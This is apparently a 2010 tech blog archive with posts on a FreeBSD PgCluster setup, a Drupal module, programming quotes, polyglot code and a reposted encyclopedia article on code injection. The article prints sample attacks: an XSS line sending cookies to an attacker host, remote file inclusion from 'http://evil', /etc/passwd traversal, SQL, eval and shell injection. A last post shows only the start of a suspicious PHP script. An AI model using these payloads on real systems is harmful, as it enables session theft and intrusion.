Friday, August 27, 2010

PostgreSQL Database Server Farm Installation and Configuration with PgCluster on FreeBSD

Reference:
http://bora.bilg.in/blog/02/postgresql-database-server-farm-installation-and-configuration-with-pgcluster-on-freebsd

I recently installed a PostgreSQL Database Server Farm on FreeBSD at work. This installation had 1 loadbalancer, 3 cluster servers and 2 replication servers. PostgreSQL works really fast under FreeBSD (especially if you apply the correct configuration). I had some hard time finding a documentation, so I’m publishing the one I wrote here. This guide includes FreeBSD installation (step by step) and configuration, PgCluster installation and configuration (with a little bit performance tuning, thanks to EnderUnix Team and Alper YALCINER) and also performance testing via Bristlecone.

Overview

This document outlines installing a PostgreSQL Database Server farm on FreeBSD System.
The installation in this document was tested on a Server Farm which includes 6 PC’s. Hardware specifications of these PC’s are: Pentium 4 CPU’s, 512 MB of RAM, 64 MB Graphics Card and 80 GB Disks. We used PostgreSQL 8.3 Latest on FreeBSD 7.0 and PgCluster 1.9 Latest.
Download FreeBSD from http://www.freebsd.org/. The following instructions are based on FreeBSD Version 7.0
Step by step FreeBSD Installation Guide:
1. Boot with FreeBSD 7.0 installation disk.
2. When menu loads hit 1 to enter the default option.
3. Afterwards choose your country.
4. Then choose to begin a standard installation, it’s the recommended option at this dialog.
5. Then enter OK at the next two messages.
6. When partitioning your drive select ‘A’ for “Use Entire Disk,” then ‘Q’ to finish.
7. Next we need to install a boot manager, so select “BootMgr”.
8. Then enter OK at the next message.
9. Hit ‘A’ for the auto defaults, then ‘Q’ for finish.
10. When choosing your distribution pick option 9 “X-User,” then click OK to the next message, then click OK.
11. Then to install choose the option to do so via FreeBSD CD/DVD, and then click Yes.
12. The installation will then begin.
13. After the installation hit “OK”
14. Hit “No” when configuring any Ethernet or slip/ppp network devices (this can be done later)
15. Hit “No” when prompted if the machine will function as a network gateway.
16. Hit “No” for the next 6 dialogs.
17. Then hit “Yes” to set your machines time zone.
18. Then hit “No” when asked if your CMOS clock is set to UTC.
19. Select your region, then your country, then timezone.
20. When asked to enable Linux binary compatibility, hit no.
21. Hit “Yes” to having a mouse, and then hit no when asked to browse the content for the FreeBSD package.
22. Hit Yes to adding user accounts.
23. Select User to add a new user.
24. Name your user, (i.e normaluser) and give a password (i.e user12345!), then hit okay, then exit user adding menu.
25. When asked to set “root’s password, set it. (i.e rootAxR5!).
26. Then hit no to last dialog, you can now exit installation.
27. You can now reboot and log on.

PgCluster INSTALLATION GUIDE


Repeat these steps on each machine:
1. Login as root, and create a directory called “pgcluster” under /root (mkdir /root/pgcluster)
2. Move the source package to pgcluster directory (mv /source/path/of/the/package /root/pgcluster)
3. Untar the package with “tar -zxvf pgcluster-1.9.0rc5.tar.gz”
4. Enter the directory with “cd pgcluster-1.9.0rc5″
5. Do a configure with “./configure”
6. Open Makefile.global with a text editor (use nano or pice, pico /root/pgcluster/pgcluster-1.9.0rc5/src/Makefile.global)
7. Find the line starting with “LIBS” and change it to : “LIBS = -lz -lreadline -lcrypt -lm -lcompat -lpthread”
8. Go back to the root directory of the program (cd /root/pgcluster/pgcluster-1.9.0rc5)
9. Type “gmake”
10. If all goes well without any errors, type “gmake install”
11. As root, enter the following commands:
adduser postgres
mkdir /usr/local/pgsql/data
chown postgres /usr/local/pgsql/data

CONFIGURING FREEBSD


In order to prevent unprepared access during starting / stop, a load balancer should start at the end. Stop from a load balancer conversely at the time of a stop.
To start/stop the system, you can do:
/usr/local/etc/rc.d/pgcluster start
or
/usr/local/etc/rc.d/pgcluster stop
on all computers. To start/stop them manually:
Replication Server
1. Start replication server
$ /usr/local/pgsql/bin/pgreplicate -D /usr/local/pgsql/etc
2. Stop replication server
$ /usr/local/pgsql/bin/pgreplicate -D /usr/local/pgsql/etc stop
3. Restart replication server
$ /usr/local/pgsql/bin/pgreplicate -D /usr/local/pgsql/etc restart
4. Usage of a replication server’s operation command.
pgreplicate [-D path of a configuration file] [-W path of a log file][-v] [-n] [-l][-h] [stop | restart]
Clusters
1. Starting of Cluster DB
$ /usr/local/pgsql/bin/pg_ctl -D /usr/local/pgsql/data -o "-i" start
2. Stop of Cluster DB
$ /usr/local/pgsql/bin/pg_ctl -D /usr/local/pgsql/data stop
Load Balancer
1. Start load balance server
$ /usr/local/pgsql/bin/pglb -D /usr/local/pgsql/etc
2. Stop load balance server
$ /usr/local/pgsql/bin/pglb -D /usr/local/pgsql/etc stop
3. Restart load balance server
$ /usr/local/pgsql/bin/pglb -D /usr/local/pgsql/etc restart
4. Usage of a load balance server’s operation command.
pglb [-D path of a configuration file] [-W path of log file][-v] [-n] [-l][-h] [stop | restart]


PERFORMANCE TESTING

We used Bristlecone from Continuent Systems for performance testing.
Bristlecone provides tools for testing database performance. There are two main tools included in the package.
Evaluator generates mixed loads of inserts, updates, deletes, and selects. Output can be built-in graphics, HTML, XML, or CSV.
Benchmark runs performance test cases with systematically varying parameters. Output can be HTML or CSV.
The Bristlecone tools were designed for comparative evaluations of database clusters. They include built-in support for threading, ability to generate new tests quickly with simple configuration file changes, and the ability to do systematic tests across different database implementations.
Bristlecone is written in Java. It has mostly run on Linux but is easily adaptable to other platforms. Bristlecone has been tested against the following database types: PostgreSQL, MySQL, and HSQLDB (Hypersonic)
1. Download Bristlecone from https://forge.continuent.org/frs/download.php/1069/bristlecone-0.6-bin.zip
2. Unzip it in a directory
3. Go to bin directory
4. Create the following file: postgresqlConnection.properties
url=jdbc:postgresql://loadbalancer
user=benchmarkuser
password=benchmark
type=PostgreSQL 8.3
#reusedata=true
#replicaUrl=jdbc:postgresql://pelican/test2
# Command to reformat/analyze tables.
analyzeCmd=vacuum full analyze
5. Create the following file: benchmark.properties
scenario=com.continuent.bristlecone.benchmark.scenarios.WriteSimpleScenario
# Specify separate connection files for mcluster/mysql.
include=pclusterConnection.properties|postgresqlConnection.properties
# Specify thread combinations.
threads=1|2|4
# Specify table combinations.
tables=1|2|4
# Remaining values are fixed or irrelevant.
iterations=1000
datarows=1000
datatype=varchar|blob|text
datawidth=100
fetchrows=10
6. Create the following file: pclusterConnection.properties
url=jdbc:postgresql://loadbalancer/benchmarkdb
user=benchmarkuser
password=benchmark
type=uni/cluster for PG
# Command to reformat/analyze tables.
analyzeCmd=vacuum full analyze
7. Enter config/evaluator directory and create the following file: postgres.xml
< !DOCTYPE EvaluatorConfiguration SYSTEM >
<evaluatorconfiguration name="postgres" testDuration="120"
autoCommit="true" statusInterval="2" xmlFile="postgresResults.xml">
<database driver="org.postgresql.Driver"
url="jdbc:postgresql://loadbalancer/benchmarkdb"
user="benchmarkuser"
password="benchmark"/>
<tablegroup name="tbl" size="200"></tablegroup>
<threadgroup name="A" threadCount="40" thinkTime="500"
updates="7" deletes="1" inserts="2" readSize="10"
rampUpInterval="10" rampUpIncrement="10"/>

8. Before starting a benchmark/evaluation, create a test database from loadbalancer:
# su postgres
$/usr/local/pgsql/bin/createuser -S -d -R -P benchmarkuser
[And enter the password "benchmark" when asked]
$ /usr/local/pgsql/bin/createdb -owner=benchmarkuser
This will create the database on all clusters. If not, check your cluster configuration settings and make sure your clusters/loadbalancers are up and connected to each other and running.
9. To benchmark, go to bin folder in bristlecone directory and type:
$./benchmark.sh
The benchmark should start
10. To evaluate, go to bin folder in bristlecone directory and type:
$./evaluator.sh ../config/evaluator/postgres.xml
Enjoy. Keep the light.
Bora Bilgin

Drupal Multiple Select Form (Two Sides)

Drupal Multiple Select Form (Two Sides)


multiple_select.module
<?php
 /**
  * Implementation of hook_menu()
  */
function multiple_select_menu() {
  $items = array();

  $items['multiple_select'] = array(
    'title' => 'multiple_select',
    'page callback' => 'multiple_select',
    'access arguments' => array('access content'),
    'type' => MENU_NORMAL_ITEM,
  );

  $items['multiple_select_submit'] = array(
    'title' => 'multiple_select',
    'page callback' => 'multiple_select_submit',
    'access arguments' => array('access content'),
    'type' => MENU_NORMAL_ITEM,
  );

  return $items;
}

function multiple_select() {
  drupal_add_js(drupal_get_path('module', 'multiple_select') .'/multiple_select.js');

  $out = '<form action="/multiple_select_submit" method="POST" id="multiple-select-form">';
    $out .= '<select multiple id="select1" size="10">';
      $out .= '<option value="gan2">gan2</option>';
      $out .= '<option value="gan4">gan4</option>';
      $out .= '<option value="gan5">gan5</option>';
      $out .= '<option value="gan6">gan6</option>';
      $out .= '<option value="gan7">gan7</option>';
    $out .= '</select>';

    $out .= '<select name="option_selected[]" multiple id="select2" size="10">';
      $out .= '<option value="gan1">gan1</option>';
      $out .= '<option value="gan3">gan3</option>';
    $out .= '</select>';

    $out .= '<p>';
    $out .= '<a href="#" id="add"> >> </a> | ';
    $out .= '<a href="#" id="remove"> << </a>';
    $out .= '<p>';

    $out .= '<input type="submit">';
  $out .= '</form>';

  return $out;
}

function multiple_select_submit() {
  echo '<pre>';
  print_r($_POST);
  echo '</pre>';

  return 'hmm';
}
?>

multiple_select.js
Drupal.behaviors.multipleSelectLink = function(context) {
  $('#add').click(function() {
    return !$('#select1 option:selected').remove().appendTo('#select2');
  });

  $('#remove').click(function() {
    return !$('#select2 option:selected').remove().appendTo('#select1');
  });

  // automatically select all options in the second select box before submitting.
  $('#multiple-select-form').submit(function() {
    $('#select2 option').each(function(i) {
      $(this).attr('selected', 'selected');
    });
  });
};

Reference:
http://blog.jeremymartin.name/2008/02/easy-multi-select-transfer-with-jquery.html

Thursday, August 26, 2010

Computer Programming

  • On two occasions I have been asked, – "Pray, Mr. Babbage, if you put into the machine wrong figures, will the right answers come out?" In one case a member of the Upper, and in the other a member of the Lower House put this question. I am not able rightly to apprehend the kind of confusion of ideas that could provoke such a question.
    • Charles Babbage, Passages from the Life of a Philosopher (1864), ch. 5: "Difference Engine No. 1"
  • Programming today is a race between software engineers striving to build bigger and better idiot-proof programs, and the universe trying to build bigger and better idiots. So far, the universe is winning.
  • Computers are man's attempt at designing a cat: it does whatever it wants, whenever it wants, and rarely ever at the right time.
  • There is no programming language, no matter how structured, that will prevent programmers from making bad programs.
  • No matter how slick the demo is in rehearsal, when you do it in front of a live audience, the probability of a flawless presentation is inversely proportional to the number of people watching, raised to the power of the amount of money involved.
  • [This] reminds me of a quotation from somebody that, whenever he tried to explain the logical structure of a programming language to a programmer, it was like a cat trying to explain to a fish what it feels like to be wet.
  • To me programming is more than an important practical art. It is also a gigantic undertaking in the foundations of knowledge.
    • Grace Hopper, quoted in Management and the Computer of the Future (1962) by Sloan School of Management, p. 277
  • Programming: when the ideas turn into the real things.
  • Most software today is very much like an Egyptian pyramid with millions of bricks piled on top of each other, with no structural integrity, but just done by brute force and thousands of slaves.
  • Premature optimization is the root of all evil.
    • Donald Knuth, "Structured Programming with Goto Statements". Computing Surveys 6:4 (December 1974), pp. 261–301, §1.
    • Premature optimization is the root of all evil (or at least most of it) in programming.
    • Knuth refers to this as "Hoare's Dictum" 15 years later in "The Errors of Tex", Software—Practice & Experience 19:7 (July 1989), pp. 607–685. However, the attribution to C. A. R. Hoare is doubtful.[2]
      • All three of these papers are reprinted in Knuth, Literate Programming, 1992, Center for the Study of Language and Information ISBN 0937073806
  • The most important thing in a programming language is the name. A language will not succeed without a good name. I have recently invented a very good name, and now I am looking for a suitable language.
  • Computers are good at following instructions, but not at reading your mind.
  • One in a million is next Tuesday.
  • He who hasn't hacked assembly language as a youth has no heart. He who does as an adult has no brain.
    • John Moore [citation needed], playing on the French saying that "He who is not a Socialist at 20 has no heart. He who at 40 is a Socialist has no brain."
  • Languages shape the way we think, or don't.
    • Erik Naggum [3]
  • Computer programming is tremendous fun. Like music, it is a skill that derives from an unknown blend of innate talent and constant practice. Like drawing, it can be shaped to a variety of ends – commercial, artistic, and pure entertainment. Programmers have a well-deserved reputation for working long hours, but are rarely credited with being driven by creative fevers. Programmers talk about software development on weekends, vacations, and over meals not because they lack imagination, but because their imagination reveals worlds that others cannot see.
  • The best book on programming for the layman is Alice in Wonderland, but that's because it's the best book on anything for the layman.
  • Computer Science is embarrassed by the computer.
    • Alan Perlis, "Epigrams on Programming"
  • Prolonged contact with the computer turns mathematicians into clerks and vice versa.
    • Alan Perlis, "Epigrams on Programming"
  • Structured Programming supports the law of the excluded muddle.
    • Alan Perlis, "Epigrams on Programming"
  • There are two ways to write error-free programs; only the third one works.
    • Alan Perlis, "Epigrams on Programming"
  • Software and cathedrals are much the same – first we build them, then we pray.
    • Sam Redwine [Proceedings of the 4th International Software Process Workshop, Moretonhampstead, Devon, U.K., 11–13 May 1988, IEEE Computer Society]
  • Why bother with subroutines when you can type fast?
  • A Netscape engineer who shan't be named once passed a pointer to JavaScript, stored it as a string and later passed it back to C, killing 30.
  • The three chief virtues of a programmer are: Laziness, Impatience and Hubris.
  • One day my daughter came in, looked over my shoulder at some Perl 4 code, and said, "What is that, swearing?"
    • Larry Wall [4]
  • Zawinski's Law: Every program attempts to expand until it can read mail. Those programs which cannot so expand are replaced by ones which can.
    • Jamie Zawinski (who called it the "Law of Software Envelopment") [citation needed]

[edit] Anonymous/Unattributed

  • 43rd Law of Computing: Anything that can go wr Seek Error reading Drive C: Abort, Retry, Ignore, Fail?
  • Any sufficiently advanced magic is indistinguishable from a rigged demonstration.
    • Restatement of Murphy's reformulation of Clarke's Third Law
  • The attention span of a computer is only as long as its electrical cord.
  • Beware of programmers that carry screwdrivers.
  • Computer programmers never die, they just become lost in the processing.
  • Computers can never replace human stupidity.
  • Computers Unite! You have nothing to lose but your operators.
  • Documentation is the castor oil of programming. Managers know it must be good because the programmers hate it so much.
  • Eagleson's Law of Programming: Any code of your own that you haven't looked at for six or more months, might as well have been written by someone else.
  • Gilb's First Law of Unreliability: Computers are unreliable but humans are even more unreliable.
  • Good programming is 99% sweat and 1% coffee.
  • If God had intended man to have computers, he would have given him 16 fingers.
  • In computing, turning the obvious into the useful is a living definition of the word "frustration".
  • Is a computer language with goto's totally Wirth-less?
  • Laws of Computer Programming:
    1. Any given program, when running, is obsolete.
    2. Any given program costs more and takes longer.
    3. If a program is useful, it will have to be changed.
    4. If a program is useless, it will have to be documented.
    5. Any given program will expand to fill all available memory.
    6. The value of a program is proportional to the weight of its output.
    7. Program complexity grows until it exceeds the capability of the programmer who must maintain it.
  • On a clear disk you can seek forever.
  • Programmer (n): An organism that can turn caffeine into code.
  • Programmers get overlaid.
  • Programming Department: Mistakes made while you wait.
  • Programming is an art form that fights back.
  • Programming would be so much easier without all the users.
  • The problem about all graphical programming languages is that when your project becomes complex, not only will you have spaghetti code, but it will actually look like spaghetti too.
  • Small programs are for small minds.
  • Software and cathedrals are much the same – first we build them, then we pray. Sam Redwine (This is a quote from Samuel T. Redwine, Jr. made at 4th International Software Process Workshop and published in Proceedings of the 4th International Software Process Workshop, Moretonhampstead, Devon, U.K., 11–13 May 1988, IEEE Computer Society.)
  • There are 10 types of people in this world, those who understand binary and those who do not.
  • To err is human. To blame it on a computer is even more so.
  • Troutman's First Programming Postulate: If a test installation functions perfectly, all subsequent systems will malfunction.
  • Troutman's Second Programming Postulate: The most harmful error will not be discovered until a program has been in production for at least six months.
  • Troutman's Third Programming Postulate: Job control cards that positively cannot be arranged in improper order will be.
  • Troutman's Fourth Programming Postulate: Interchangeable tapes won't.
  • Troutman's Fifth Programming Postulate: If the input editor has been designed to reject all bad input, an ingenious idiot will discover a method to get bad data past it.
  • Troutman's Sixth Programming Postulate: Profanity is the one language all programmers know best.
  • We don't really understand it, so we'll give it to the programmers.
  • Weinberg's Second Law: If builders built buildings the way programmers wrote programs, then the first woodpecker that came along would destroy civilization.
  • Whom computers would destroy, they must first drive insane.
  • Writing it is easy, understanding it is hard.
  • Your program is sick! Shoot it and put it out of its memory.
  • Your Zip file is open.

[edit] Debugging

  • Even perfect program verification can only establish that a program meets its specification. […] Much of the essence of building a program is in fact the debugging of the specification.
    • Fred Brooks (1986), "No Silver Bullet", Information Processing 1986, the Proceedings of the IFIP Tenth World Computing Conference, H. K. Kugler, ed., Elsevier Science, 1986, p. 1069 ff.
    • Reprinted in the IEEE magazine Computer 20 (4), (April 1987), p. 43 ff.; and in The Mythical Man-Month Anniversary Edition (1995), ISBN 0-201-83595-9
  • Much to the surprise of the builders of the first digital computers, programs written for them usually did not work.
    • Rodney Brooks, Programming in Common Lisp, Wiley, 1985, p. 94
  • bug, n: An elusive creature living in a program that makes it incorrect. The activity of "debugging", or removing bugs from a program, ends when people get tired of doing it, not when the bugs are removed.
  • silver bullet (SIL-vuhr BOOL-it) noun: A quick solution to a thorny problem. [From the belief that werewolves could be killed when shot with silver bullets.] "Writing code, he (Stuart Feldman) explains, is like writing poetry: every word, each placement counts. Except that software is harder, because digital poems can have millions of lines which are all somehow interconnected. Try fixing programming errors, known as bugs, and you often introduce new ones. So far, he laments, nobody has found a silver bullet to kill the beast of complexity."
    • Survey: The Beast of Complexity; The Economist (London, UK); Apr 14, 2001.
  • From then on, when anything went wrong with a computer, we said it had bugs in it.
    • RADM Grace Hopper, on the removal of a 2-inch-long moth from the Harvard Mark I experimental computer at Harvard in August 1945, as quoted in Time (16 April 1984)
  • The most effective debugging tool is still careful thought, coupled with judiciously placed print statements.
  • Everyone knows that debugging is twice as hard as writing a program in the first place. So if you're as clever as you can be when you write it, how will you ever debug it?
    • Brian Kernighan, "The Elements of Programming Style", 2nd edition, chapter 2
  • Beware of bugs in the above code; I have only proved it correct, not tried it.
  • A documented bug is not a bug; it is a feature.
  • As soon as we started programming, we found to our surprise that it wasn't as easy to get programs right as we had thought. Debugging had to be discovered. I can remember the exact instant when I realized that a large part of my life from then on was going to be spent in finding mistakes in my own programs.

[edit] Anonymous/Unattributed

  • Law 1: Every program can be optimised to be smaller. Law 2: There's always one more bug. Corollary: Every program can be reduced to a one-line bug.
  • Lubarsky's Law of Cybernetic Entomology: There's always one more bug.
  • The paradox of software testing: In theory, testing software for correctness is impossible. In practice, it is given to freshmen because it's the least demanding task available.
  • The cheapest, fastest and most reliable components of a computer system are those that aren't there.
  • Gilder's Law: Bandwidth grows at least three times faster than computer power.
    • George F. Gilder, Telecosm: How Infinite Bandwidth Will Revolutionize Our World, The Free Press, NY, 2000 [specific citation needed]
  • The best way to predict the future is to implement it.
  • As the trials of life continue to take their toll, remember that there is always a future in Computer Maintenance.

Reference:
http://en.wikiquote.org/wiki/Programming

Shakespearian C (Shakespeare C)

Shakespearian C (Shakespeare C)

"To be or not to be... that is the question."

The answer is 0xff since:

Code:

0x2b | ~0x2b = 0xff

Wednesday, August 25, 2010

Polyglot Programming and Web Security

Polyglot Programming and Web Security

Polyglot is a computer program written in a valid form of multiple
programming languages.
For example, print"Hello",0?"Ruby":"Perl","
!\n" is a Perl/Ruby polyglot program
which returns different result each languages using difference of
handling boolean value.

Applying these techniques makes five language polyglot program like as
following:
----------------------------------------------
#include/*
q="""*/
int main() {putchar('C'); if(sizeof('C')-1);
else {putchar('+'); putchar('+');}} /*=;
print'Perl'#";print'Ruby'#""";print'Python'#*/
----------------------------------------------
$ perl a.cpp
Perl
$ ruby a.cpp
Ruby
$ python a.cpp
Python
$ gcc -xc a.cpp && ./a.out
C
$ cl.exe a.cpp
$ a.exe
C++

And applying more growth of these techniques makes obfuscated program
with just only symbols
for Perl / Ruby / JavaScript and so on like as:
http://developer.cybozu.co.jp/takesako/2009/07/polyglotrejectk.html

Moreover I'll show the Perl / Ruby / PHP / JavaScript program embedded
in GIF / JPEG images.
And we can make a x86 executable code in ascii string which includes
just only symbols.

all your base32 are belong to us
http://conferences.yapcasia.org/ya2009/talk/2226

Reference:
http://osdc.tw/2010/02/schedule_polyglot_programming.html

Thursday, August 19, 2010

Code injection

Code injection is the exploitation of a computer bug that is caused by processing invalid data. Code injection can be used by an attacker to introduce (or "inject") code into a computer program to change the course of execution. The results of a code injection attack can be disastrous. For instance, code injection is used by some computer worms to propagate.

Contents


[edit] Overview and example

A web server has a guestbook script, which accepts small messages from users, and typically receives messages such as
Very Nice site!
However a malicious person may know of a code injection vulnerability in the guestbook, and enters a message such as
Nice Site,  I think I'll take it.><script>document.location='http://some_attacker/cookie.cgi?' +document.cookie</script>
If another user views the page then the injected code will be executed. This code can allow the attacker to impersonate another user. However this same software bug can be accidentally triggered by an unassuming user which will cause the website to display bad HTML code.
That post was awesome, >:) 
Most of these problems are related to erroneous assumptions of what input data is possible, or the effects of special data.[1] Classic examples of dangerous assumptions a software developer might make about the input to a program include:
  • assuming that metacharacters for an API never occurs in an input; e.g. assuming punctuation like quotation marks or semi-colons would never appear
  • assuming only numeric characters will be entered as input
  • assuming the input will never exceed a certain size
  • assuming that numeric values are equal or less than upper bound
  • assuming that numeric values are equal or greater than lower bound
  • assuming that client supplied values set by server (such as hidden form fields or cookies), cannot be modified by client. This assumption ignores known attacks such as Cookie poisoning, in which values are set arbitrarily by malicious clients.
  • assuming that it is okay to pick pointers or array indexes from input
  • assuming an input would never provide false information about itself or related values, such as the size of a file[2]

[edit] Uses of code injection

[edit] Intentional use

[edit] Malevolent

Use of code injection is typically viewed as a malevolent action, and it often is. Code injection techniques are popular in system hacking or cracking to gain information, Privilege escalation or unauthorised access to a system.
Code injection can be used malevolently to:
  • Arbitrarily modify values in a database through a type of code injection called SQL injection. The impact of this can range from defacement of a web site to serious compromisation of sensitive data.
  • Install malware on a computer by exploiting code injection vulnerabilities in a web browser or its plugins when the user visits a malicious site.
  • Install malware or execute malevolent code on a server, by PHP or ASP Injection.
  • Privilege escalation to root permissions by exploiting Shell Injection vulnerabilities in a setuid root binary on UNIX.
  • Privilege escalation to Local System permissions by exploiting Shell Injection vulnerabilities in a service on Windows.
  • Stealing sessions/cookies from web browsers using HTML/Script Injection (Cross-site scripting).

[edit] Benevolent

Some people may use code injections with good intentions. For example, changing or tweaking the behavior of a program or system through code injection can "trick" the system into behaving in a certain way without any malicious intent. Code injection could, for example,:
  • Introduce a useful new column that did not appear in the original design of a search results page.
  • Offer a new way to filter, order, or group data by using a field not exposed in the default functions of the original design.
Someone might resort to this sort of work-around because other ways of modifying the software to function as desired:
  • Prove impossible, or
  • Are too expensive, or
  • Become too frustrating or painful.
The development community as a whole[weasel words] frowns on code injection for this purpose, calling it a kludge or hack.
Some developers allow or even promote the use of code injection to "enhance" their software, usually because this solution offers a less expensive way to implement new or specialized features. The side effects and unaccounted implications can, unfortunately, be very dangerous.
Even well-intentioned use of code injection is discouraged in general.

[edit] Unintentional use

Some users may unsuspectingly perform code injection because input they provide to a program was not considered by those who originally developed the system. For example:
  • What the user may consider a valid input may contain token characters or character strings that have been reserved by the developer to have special meaning (perhaps the "&" in "Shannon & Jason", or quotation marks as in "Bub 'Slugger' McCracken").
  • The user may submit a malformed file as input that is handled gracefully in one application, but is toxic to the receiving system.

[edit] Preventing code injection

To prevent code injection problems, utilize secure input and output handling, such as:
  • Input validation
  • Escaping dangerous characters. For instance, in PHP, using the htmlentities() function to protect general inputs into your web application, and mysql_real_escape_string() to protect inputs which will be included in an SQL request, to protect against SQL Injection.
  • Input encoding
  • Output encoding
  • Other coding practices which are not prone to code injection vulnerabilities, such as "parameterized SQL queries" (also known as "prepared statements" and sometimes "bind variables").
  • Modular shell disassociation from kernel

[edit] Examples of code injection

[edit] SQL injection

SQL injection takes advantage of the syntax of SQL to inject commands that can read or modify a database, or compromise the meaning of the original query.
For example, consider a web page has two fields to allow users to enter a user name and a password. The code behind the page will generate a SQL query to check the password against the list of user names:
SELECT UserList.Username
FROM UserList
WHERE UserList.Username = 'Username'
AND UserList.Password = 'Password'
If this query returns any rows, then access is granted. However, if the malicious user enters a valid Username and injects some valid code ("password' OR '1'='1'") in the Password field, then the resulting query will look like this:
SELECT UserList.Username
FROM UserList
WHERE UserList.Username = 'Username'
AND UserList.Password = 'password' OR '1'='1'
In the example above, "Password" is assumed to be blank or some innocuous string. "'1'='1'" will always be true and many rows will be returned, thereby allowing access.
The technique may be refined to allow multiple statements to run, or even to load up and run external programs.

[edit] Dynamic evaluation vulnerabilities

Steven M. Christey of Mitre Corporation suggests this name for a class of code injection vulnerabilities.

[edit] Dynamic evaluation vulnerabilities - eval injection

An eval injection vulnerability occurs when an attacker can control all or part of an input string that is fed into an eval() function call.[3]
$myvar = 'somevalue';
$x = $_GET['arg'];
eval('$myvar = ' . $x . ';');
The argument of "eval" will be processed as PHP, so additional commands can be appended. For example, if "arg" is set to "10; system('/bin/echo uh-oh')", additional code is run which executes a program on the server, in this case "/bin/echo".

[edit] Dynamic evaluation vulnerabilities - dynamic variable evaluation

As defined in "Dynamic Evaluation Vulnerabilities in PHP applications": PHP supports "variable variables," which are variables or expressions that evaluate to the names of other variables. They can be used to dynamically change which variable is accessed or set during execution of the program. This powerful and convenient feature is also dangerous.
A number of applications have code such as the following:
$safevar = "0";
$param1 = "";
$param2 = "";
$param3 = "";
# my own "register globals" for param[1,2,3]
foreach ($_GET as $key => $value) {
  $$key = $value;
}
If the attacker provides "safevar=bad" in the query string, then $safevar will be set to the value "bad".

[edit] Dynamic evaluation vulnerabilities - dynamic function evaluation

The following PHP-examples will execute a function specified by request.
$myfunc = $_GET['myfunc'];
$myfunc();
and:
$myfunc = $_GET['myfunc'];
${"myfunc"}();

[edit] Include file injection

Consider this PHP program (which includes a file specified by request):
<?php
   $color = 'blue';
   if (isset( $_GET['COLOR'] ) )
      $color = $_GET['COLOR'];
   require( $color . '.php' );
?>
<form method="get">
   <select name="COLOR">
      <option value="red">red</option>
      <option value="blue">blue</option>
   </select>
   <input type="submit">
</form>
The developer thought this would ensure that only blue.php and red.php could be loaded. But as anyone can easily insert arbitrary values in COLOR, it is possible to inject code from files:
  • /vulnerable.php?COLOR=http://evil/exploit? - injects a remotely hosted file containing an exploit.
  • /vulnerable.php?COLOR=C:\\ftp\\upload\\exploit - Executes code from an already uploaded file called exploit.php
  • /vulnerable.php?COLOR=../../../../../../../../etc/passwd - allows an attacker to read the contents of the passwd file on a UNIX system directory traversal.
  • /vulnerable.php?COLOR=C:\\notes.txt - example using NULL meta character to remove the .php suffix, allowing access to files other than .php. (PHP setting "magic_quotes_gpc = On", which is default, would stop this attack)

[edit] Shell injection

Shell Injection is named after Unix shells, but applies to most systems which allows software to programmatically execute command line. Typical Shell Injection functions are system(), StartProcess(), java.lang.Runtime.exec(), System.Diagnostics.Process.Start() and similar APIs.
Consider the following short PHP program, which runs an external program called funnytext to replace a word the user sent with some other word.
<?php
passthru("/home/user/phpguru/funnytext " . $_GET['USER_INPUT']);
?>
This program can be injected in multiple ways:
  • `command` will execute command.
  • $(command) will execute command.
  • ; command will execute command, and output result of command.
  • | command will execute command, and output result of command.
  • && command will execute command, and output result of command.
  • || command will execute command, and output result of command.
  • > /home/user/phpguru/.bashrc will overwrite file .bashrc.
  • < /home/user/phpguru/.bashrc will send file .bashrc as input to funnytext.
PHP offers escapeshellarg() and escapeshellcmd() to perform encoding before calling methods. However, it is not recommended to trust these methods to be secure - also validate/sanitize input.

[edit] HTML-script injection (cross-site scripting)

HTML/Script injection is a popular subject, commonly termed "Cross-Site Scripting", or "XSS". XSS refers to an injection flaw whereby user input to a web script or something along such lines is placed into the output HTML, without being checked for HTML code or scripting.
The two basic types are as follows:
Active (Type 1)
This type of XSS flaw is less dangerous, as the user input is placed into a dynamically generated page. No changes are made on the server.
Passive (Type 2)
This type is more dangerous, as the input is written to a static page, and as such, is persistent.

[edit] HTML injection in IE7 via infected DLL

According to an article[4] in UK tech site The Register, HTML injection can also occur if the user has an infected DLL on their system. The article quotes Roger Thompson who claims that "the victims' browsers are, in fact, visiting the PayPal website or other intended URL, but that a dll file that attaches itself to IE is managing to read and modify the html while in transit. The article mentions a phishing attack using this attack that manages to bypass IE7 and Symantec's attempts to detect suspicious sites.

[edit] ASP injection

"ASP Injection", "PHP Injection" etc. are terms coined which refer to various types of code injection attacks which allow an attacker to supply code to the server side scripting engine. In the case of "ASP Injection", the server side scripting engine is Microsoft Active Server Pages, an add-on to Microsoft IIS.
In practice, ASP Injection is either the exploitation of Dynamic Evaluation Vulnerabilities, Include File Injection or similar code injection vulnerabilities.
Example:
<%
    If Not IsEmpty(Request( "username" ) ) Then
        Const ForReading = 1, ForWriting = 2, ForAppending = 8
        Dim fso, f
        Set fso = CreateObject("Scripting.FileSystemObject")
        Set f = fso.OpenTextFile(Server.MapPath( "userlog.txt" ), ForAppending, True)
        f.Write Request("username") & vbCrLf
        f.close
        Set f = nothing
        Set fso = Nothing
        %>
         <h1>List of logged users:</h1>
         <pre>
        <%
         Server.Execute( "userlog.txt" )
        %>
         </pre>
        <%
    Else
        %>
         <form>
         <input name="username" /><input type="submit" name="submit" />
         </form>
        <%
    End If
%>
In this example, the user is able to insert a command instead of a username.

[edit] Analogy

Code injection is an error in interpretation. Similar interpretation errors exist outside the world of computer science such as the comedy routine Who's on First?. This conversation was properly validated by this quote:
"Not the pronoun but a player with the unlikely name of Who, is on first"
-- Principal Skinner

[edit] See also

[edit] References

  1. ^ Hope, Paco; Walther, Ben (2008). Web Security Testing Cookbook. O'Reilly Media, Inc.. p. 254. ISBN 978-0-596-51483-9 
  2. ^ Many file formats begin by declaring how much data they hold, along with some other values, up front. Understating the amount of data in this declaration can lead to a buffer overrun in carelessly developed software. For example, a carelessly built web browser. This often exposes a code injection vulnerability. This is the premise behind many security vulnerabilities involving files, especially image and media files.
  3. ^ Christey, Steven M. (2006-05-03). "Dynamic Evaluation Vulnerabilities in PHP applications" (HTML). Insecure.org. http://seclists.org/lists/fulldisclosure/2006/May/0035.html. Retrieved 2008-11-17. 
  4. ^ Goodin, Dan (2007-05-25). "Strange spoofing technique evades anti-phishing filters, Targets include PayPal, eBay and others". The Register. http://www.theregister.co.uk/2007/05/25/strange_spoofing_technique. Retrieved 2008-11-17. 

[edit] External links









Reference:
http://en.wikipedia.org/wiki/Code_injection

Wednesday, August 18, 2010

Some drupal scripts got affected today

Some drupal scripts got affected today

<?php
  @set_time_limit(0);
  @error_reporting(2);
  @set_magic_quotes_runtime(0);
